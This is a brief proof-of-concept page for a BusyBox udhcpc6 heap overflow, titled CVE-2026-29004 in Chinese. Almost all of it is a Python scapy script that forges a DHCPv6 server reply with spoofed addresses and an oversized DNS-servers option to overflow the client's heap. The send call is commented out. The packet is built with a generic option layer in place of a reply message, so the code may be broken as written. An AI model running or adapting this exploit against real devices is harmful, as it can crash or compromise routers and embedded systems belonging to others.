CVE-2026-29004 BusyBox DHCPv6客户端堆溢出漏洞

# PoC for CVE-2026-29004 BusyBox DHCPv6 Heap Overflow # This script crafts a malicious DHCPv6 packet to trigger the buffer overflow in udhcpc6. from scapy.all import * import sys # Configuration interface = "eth0" target_mac = "00:11:22:33:44:55" src_mac = "aa:bb:cc:dd:ee:ff" src_link_local = "fe80::aabb:ccff:fecc:ddee" target_link_local = "fe80::211:22ff:fe33:4455" # Construct the malicious DHCPv6 Reply # The vulnerability lies in the handling of D6_OPT_DNS_SERVERS (option 23). # We set a length that triggers the miscalculation in option_to_env(). eth = Ether(src=src_mac, dst=target_mac) ipv6 = IPv6(src=src_link_local, dst=target_link_local) udp = UDP(sport=547, dport=546) # DHCPv6 Server to Client # Transaction ID must match the client's Solicit xid = 0x123456 # Malformed DNS Servers option payload (Option 23) # Sending excessive data to trigger the heap overflow dns_opt_payload = b"\x00" * 300 # Build DHCPv6 Options dhcp6_options = [ DHCP6OptServerId(duid=DUID_LL(lladdr=src_mac)), DHCP6OptClientId(duid=DUID_LL(lladdr=target_mac)), DHCP6OptIA_NA(iaid=1, T1=3600, T2=5400), # Injecting the malformed option directly DHCP6OptUnknown(optcode=23, optlen=len(dns_opt_payload), optdata=dns_opt_payload) ] pkt = eth / ipv6 / udp / DHCP6_Option(trid=xid) / dhcp6_options print(f"[*] Sending malicious DHCPv6 packet to {target_mac}...") # sendp(pkt, iface=interface, verbose=1) print("[!] Packet crafted. Verify in a controlled lab environment.")